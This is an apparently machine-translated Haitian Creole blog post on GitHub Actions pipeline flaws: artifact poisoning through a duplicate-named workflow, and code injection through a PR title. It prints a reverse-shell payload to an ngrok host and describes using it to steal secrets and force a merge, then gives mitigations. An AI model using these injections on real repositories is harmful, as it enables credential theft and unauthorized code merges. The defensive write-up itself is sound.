Sou pòs anvan yo (gade Anpwazonnen endirèkteman Pipeline Egzekisyon I-PPE ta dwe apwouve bèso tibebe w la epi Anpwazonnen Pipeline Ekzekisyon EPI , nou te sitou pale de EPI (Ekipman Anpwazonnen) Pipeline Egzekisyon): nou te wè kijan li fonksyone, efè li yo, kèk eksplwatasyon ansanm ak kèk fason pou pwoteje kont li.
Pòs sa a fouye an pwofondè nan kèk lòt bagay CI/CD pipeline vilnerabilite tankou anpwazònman ak atifak ak enjeksyon kòd.
Pou fè sa, nou pral baze l yon jan kanmenm sou EPI, kidonk ann fè yon ti rezime sou sa nou te wè sou EPI yo.
Travay anvan sou PPE
Pou rezime, nou te kòmanse avèk yon GitHub debaz. pipeline pou konstwi epi teste kòd kontribye atravè yon pull requestAnplis, li defini kèk verifikasyon ki, si yo satisfè, pral fusionne kòd la nan branch prensipal la. Nou te rele sa kòm Senaryo #1.
Nan pòs anvan nou an, nou te montre kijan bagay debaz sa a pipeline te vilnerab a tou de D-PPE ak I-PPE.
Nou te reyisi ranje D-PPE by modifye evènman deklanchè a soti nan rale_demann yo rale_demann_sib, fè la pipeline an sekirite pou D-PPEKòm yon rapèl, pipelines deklanche sou yon evènman pull_request_target pral egzekite baz la pipeline kòd, pa la pipeline kòd ki genyen nan pull request.
Nou te rele sa a kòm Senaryo #2.
Kòm rezilta modifikasyon sa a, nou demontre ke Senaryo #2 a te toujou vilnerab a I-PPE..
Pou nou ranje sa, nou deside pou divize a pipeline an de:
- 1ye pipeline (Bati CI) ta tcheke kòd PR a (pou konstwi li), fè konstriksyon an epi jenere yon atifak.
- 2yèm la pipeline (Tès CI) ta verifye kòd baz la (pou evite modifikasyon script shell la) epi egzekite script orijinal yo kont atifak la.
- Pou senkronize CI Tès la pipeline pou kouri APRÈ CI Build la pipeline, nou pral itilize a kouri_travay_fonksyon deklanche.
Nou te rele sa a kòm Senaryo #3.
Ann rekipere kòd tou de yo pipelinedapre modifikasyon sa yo...
1st pipeline (Konstriksyon CI):
name: Build CI on: pull_request_target: branches: [ main ] env: MY_SECRET: ${{ secrets.MY_SECRET }} GITHUB_PAT: ${{ secrets.GH_PAT }} jobs: prt_build_and_upload: runs-on: ubuntu-latest steps: - name: Checking out PR code uses: actions/checkout@v4 if: ${{ github.event_name == 'pull_request_target' }} with: # This is to get the PR code instead of the repo code ref: ${{ github.event.pull_request.head.sha }} - name: Building ... run: | mkdir ./bin touch ./bin/mybin.exe # Save some PR info for later use by the 2nd pipeline echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt echo "${{github.event.number}}" > ./bin/PR_ID.txt # Upload the binary as a pipeline artifact - name: Archive building artifacts uses: actions/upload-artifact@v3 with: name: archive-bin path: | bin 2nd pipeline (Tès CI):
name: Test CI on: workflow_run: workflows: [ 'Build CI' ] types: [completed] env: MY_SECRET: ${{ secrets.MY_SECRET }} GITHUB_PAT: ${{ secrets.GH_PAT }} jobs: deploy: runs-on: ubuntu-latest if: ${{ github.event.workflow_run.conclusion == 'success' }} steps: # By default, checks out base code (not PR code) - name: Checkout repository uses: actions/checkout@v4 # Download the artifact - name: 'Download artifact' uses: actions/github-script@v6 with: script: | let allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({ owner: context.repo.owner, repo: context.repo.repo, run_id: context.payload.workflow_run.id, }); let matchArtifact = allArtifacts.data.artifacts.filter((artifact) => { return artifact.name == "archive-bin" })[0]; let download = await github.rest.actions.downloadArtifact({ owner: context.repo.owner, repo: context.repo.repo, artifact_id: matchArtifact.id, archive_format: 'zip', }); let fs = require('fs'); fs.writeFileSync(`${process.env.GITHUB_WORKSPACE}/myartifact.zip`, Buffer.from(download.data)); # Unzip the artifact - name: 'Unzip artifact' run: | unzip -o myartifact.zip # Runs tests - name: Running tests ... id : run_tests run: | echo Running tests.. chmod +x runtests.sh ./runtests.sh echo Tests executed. # # For demo purposes, the check merge condition will always be set to FALSE (avoiding to merge) # - name: pr_check_conditions_to_merge id: check_pr run: | echo "check_conditions_to_merge" PR_ID=$(<PR_ID.txt) PR_TITLE=$(<PR_TITLE.txt) echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE" echo "merge=false" >> $GITHUB_OUTPUT - name: pr_merge_pr_false if: steps.check_pr.outputs.merge == 'false' run: | echo "The merge check was ${{ steps.check_pr.outputs.merge }}" echo "Merge conditions NOT MEET!!!" - name: pr_merge_pr_true if: steps.check_pr.outputs.merge == 'true' && steps.run_tests.outputs.run_tests == 'OK' run: | echo "The merge check was ${{ steps.check_pr.outputs.merge }}" echo "Merge conditions successfully MEET!!!" echo "Merging .." PR_ID=$(<PR_ID.txt) curl -L \ -X PUT \ -H "Accept: application/vnd.github+json" \ -H "Authorization: Bearer $GITHUB_PAT" \ -H "X-GitHub-Api-Version: 2022-11-28" \ https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \ -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}' Anpwazònman ak atifak
Dapre sa ki anwo a CI/CD pipelines:
- pipeline Bati CI is ki san danje a tou de D-PPE (akoz rale_demann_sib) Ak I-PPE (paske li pa egzekite script shell la ankò).
- pipeline Tès CI se tou ki san danje a tou de D-PPE (akoz kouri_travay_fonksyon) Ak I-PPE (paske li verifye kòd debaz la pou jwenn script shell orijinal la)
Ann fouye fon nan "solisyon" sa a.
Pipeline Tès CI telechaje atifak la kòm yon fichye zip.
# Unzip the artifact - name: 'Unzip artifact' run: | unzip -o myartifact.zip # Runs tests - name: Running tests ... id : run_tests run: | echo Running tests.. chmod +x runtests.sh ./runtests.sh echo Tests executed. Yon fwa li dekonprese, li egzekite script shell "san danje" a. Poukisa mwen di script shell "san danje" a? Paske nan yon etap anvan, la pipeline verifye kòd "baz" la, kidonk yo mete script orijinal la nan dosye espas travay la. Se poutèt sa, lè pipeline egzekite script shell la li pral kouri lè l sèvi avèk binè ki te telechaje deja a.
Lè sa a, ki sa ki pwoblèm avèk apwòch sa a? Pwoblèm nan vini lè nenpòt itilizatè "kreye" yon nouvo pipeline.
Si yon itilizatè ouvri yon PR ki gen yon nouvo pipeline, GitHub pral egzekite sa pipeline (si nou bay kèk kondisyon, jan nou te wè nan anvan an) afiche).
Bay sa, e si itilizatè a kreye yon nouvo pipeline ak menm non ak Build CI? Wi, li etonan, men GitHub pèmèt ou kreye de pipelines ki gen menm non an!!
Sonje byen ke Test CI a ap egzekite apre Build CI a...
name: Test CI on: workflow_run: workflows: [ 'Build CI' ] types: [completed] Etonan, paske kounye a gen de pipelines ki gen menm non an, la pipeline Tès CI a ap egzekite de fwa.youn apre orijinal la pipeline ak lòt apre "nouvo" a pipeline.
Ki jan yon pirata enfòmatik ka pwofite de sa?
- Premyèman, itilizatè move a ka modifye script shell la pou voye sekrè a bay sèvè kontwole pa entru a.
- Dezyèmman, nouvo a pipeline gen ladan yon liy pou kopye script shell modifye a nan artefak la → anpwazonnen atifis lact!!!
Lè itilizatè a ouvri yon PR ak chanjman sa yo, "nouvo" a pipeline pral egzekite (telechaje yon atifak anpwazonnen) epi Deplwaye CI a pipeline pral egzekite apre sa, sa ki lakòz script shell "modifye" a ranplase script shell "orijinal" ki sitiye nan pipeline espas travay.
Sa a se sa nou rele Anpwazònman ak atifak, sa vle di kapasite pou modifye (pirate) la pipeline lojik atravè modifikasyon yon pipeline asosye.
Youn posib ratrapaj se byen senp: Jis dekonprese atik la nan yon sou-dosye nan espas travay la ta evite ranplase script shell "debaz" la..
Piki Kòd
Apa anpwazònman ak atifak, èske ou ka wè nenpòt lòt vilnerabilite nan kòd ki anwo a?
Ann ale!!
Jan ou ka wè nan kòd la, pipeline Build CI bati binè a, li telechaje binè a kòm yon pipeline atifak epi, anplis, li telechaje kèk done adisyonèl: Tit PR a ak Id PR a.
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt echo "${{github.event.number}}" > ./bin/PR_ID.txt Poukisa? Paske pou rantre PR a, jan ou ka wè anba a, Tès CI a pipeline bezwen id PR a pou envoke API REST GitHub la ki fusionne PR a.
Kijan Tès CI a fonksyone pipeline jwenn ID PR sa a? Pataje enfòmasyon nan dosye tèks (yon pati nan yon pipeline atifak) se yon fason komen pou pataje enfòmasyon ant pipelines. Epi se egzakteman sa sa yo pipelineyo ap fè.
echo "Merging .." PR_ID=$(<PR_ID.txt) curl -L \ -X PUT \ -H "Accept: application/vnd.github+json" \ -H "Authorization: Bearer $GITHUB_PAT" \ -H "X-GitHub-Api-Version: 2022-11-28" \ https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \ -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}' Anfèt, se sèlman ID PR a ki nesesè pou rantre PR a, men pipeline administratè a te deside pou Build CI a gen ladan l tou tit PR a, kidonk Test CI a pipeline ta enprime kèk mesaj enfòmasyon ki gen tou de ID PR a ak Tit la.
name: Build CI - name: Building ... run: | mkdir ./bin touch ./bin/mybin.exe # Save some PR info for later use by the 2nd pipeline echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt echo "${{github.event.number}}" > ./bin/PR_ID.txt name: Test CI [...] PR_ID=$(<PR_ID.txt) PR_TITLE=$(<PR_TITLE.txt) echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE" Tit PR a se toujou done ki soti nan itilizatè a, kidonk li dwe toujou konsidere kòm yon done ki pa fyab.. Se konsa, la pipeline dwe manipile jan sa a epi pran mezi pwoteksyon.
Nan kòd ki anwo a, nou ka wè mesaj espesifik la k ap repete Tit PR a. Se jis yon kòmand "echo" Linux.
Atravè entèpolasyon chèn karaktè, si tit la se "yon tit fo", Github jenere yon script entènman ki genyen
echo ""a dummy title"" Men, e si tit PR a ta yon bagay tankou:
Tit move" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "Senaryo a ta vin tounen:
echo "Malicious title" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "" Sa rezilte nan ouvèti yon shell ranvèse kont sèvè kontwole pa pirat enfòmatik la.
Yo ka itilize kokiy ranvèse sa a pou jwenn aksè a pipeline sekrè (sonje byen ke Test CI ap fonksyone nan mòd privilèj paske workflow_run deklanche l, kidonk li gen aksè a sekrè yo).
Men, kisa ankò yo ka fè atravè kokiy envès sa a?
Gade kòd tès CI a:
env: GITHUB_PAT: ${{ secrets.GH_PAT }} [...] echo "Merging .." PR_ID=$(<PR_ID.txt) curl -L \ -X PUT \ -H "Accept: application/vnd.github+json" \ -H "Authorization: Bearer $GITHUB_PAT" \ -H "X-GitHub-Api-Version: 2022-11-28" \ https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \ -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}' Jan ou ka wè nan Tès CI a pipeline, kòmandman curl merge a ap itilize GITHUB_PAT (defini kòm yon pipeline varyab anviwònman), kidonk kourè a gen GITHUB_PAT la kòm yon varyab anviwònman. Anplis de sa, li kreye tou yon varyab anviwònman ki li ID PR a.
Kidonk, pirata enfòmatik la jis bezwen kopye kòmandman curl la epi kole li nan shell envès la, pou l rantre PR a dirèkteman nan branch pwoteje a.
Pou pwoteje kont tout bagay sa yo:
- Pou evite entèpolasyon chèn ak done ki pa fyab (vilnerab a piki kòd) pa defini pipeline varyab anviwònman olye pou yo itilize li dirèkteman nan kòmand eko yo
Olye pou itilize:
name: Build CI - name: Building ... run: | mkdir ./bin touch ./bin/mybin.exe # Save some PR info for later use by the 2nd pipeline echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt echo "${{github.event.number}}" > ./bin/PR_ID.txt Sèvi ak sa a:
- name: Building ... run: | mkdir ./bin touch ./bin/mybin.exe # Save some PR info for later use by the 2nd pipeline echo "$PR_TITLE" > ./bin/PR_TITLE.txt echo "${{github.event.number}}" > ./bin/PR_ID.txt env: PR_TITLE: ${{github.event.pull_request.title}} - Menm avèk eksplwatasyon enjeksyon kòd, kòmandman curl merge a pa t ap reyisi si ou te byen... pwoteje ou pull requests atravè kèk revizyon oswa apwobasyon obligatwa.
Konklizyon
Li difisil pou pwoteje yon jan kanmenm CI/CD pipelinekonfigirasyon an epi jwenn pipelineli pa gen vilnerabilite.
Sa pa vle di sa CI/CD sistèm yo (tankou GitHub nan ka sa a) vilnerab an li menm. CI/CD Sistèm yo bay mwayen pou pwoteje kont vilnerabilite yo... men se responsablite administratè a pou aplike pwoteksyon sa yo.
Men, ... Ou pa ka rezoud yon vilnerabilite si ou pa okouran de egzistans li!!!
Natirèlman, yon administratè devops ki trè kalifye ka gen tout menas sa yo nan tèt li epi pwoteje yo byen. CI/CD pipelines, men, menm si sa, li trè enpòtan pou itilize yon pwodwi pou detekte tout kalite vilnerabilite sa yo. Epi natirèlman pou otomatize pwosesis detansyon vilnerabilite sa a (pa egzanp, fè eskanè a kòm yon pati nan CI/CD pipelines).
Apwòch sa a ta ka rele "Pòtay Sekirite Sosyal”:
- Kreye yon nouvo pipeline (Pòtay Sekirite) pou tcheke pou CI/CD pipelines vilnerabilite yo epi fè lòt CI a pipelines pou egzekite sèlman lè yo fin reyisi Sekirite Baryè a pipeline.
- Pòtay Sekirite a pipelines pral tcheke pou CI/CD pipelinevilnerabilite yo ak,
- Si yo jwenn vilnerabilite, li pral echwe e, kidonk, lòt la pipelineYo p ap egzekite s.
- Si yo pa jwenn okenn vilnerabilite, pipeline pral reyisi ak lòt la pipelines pral egzekite jan li abitye.





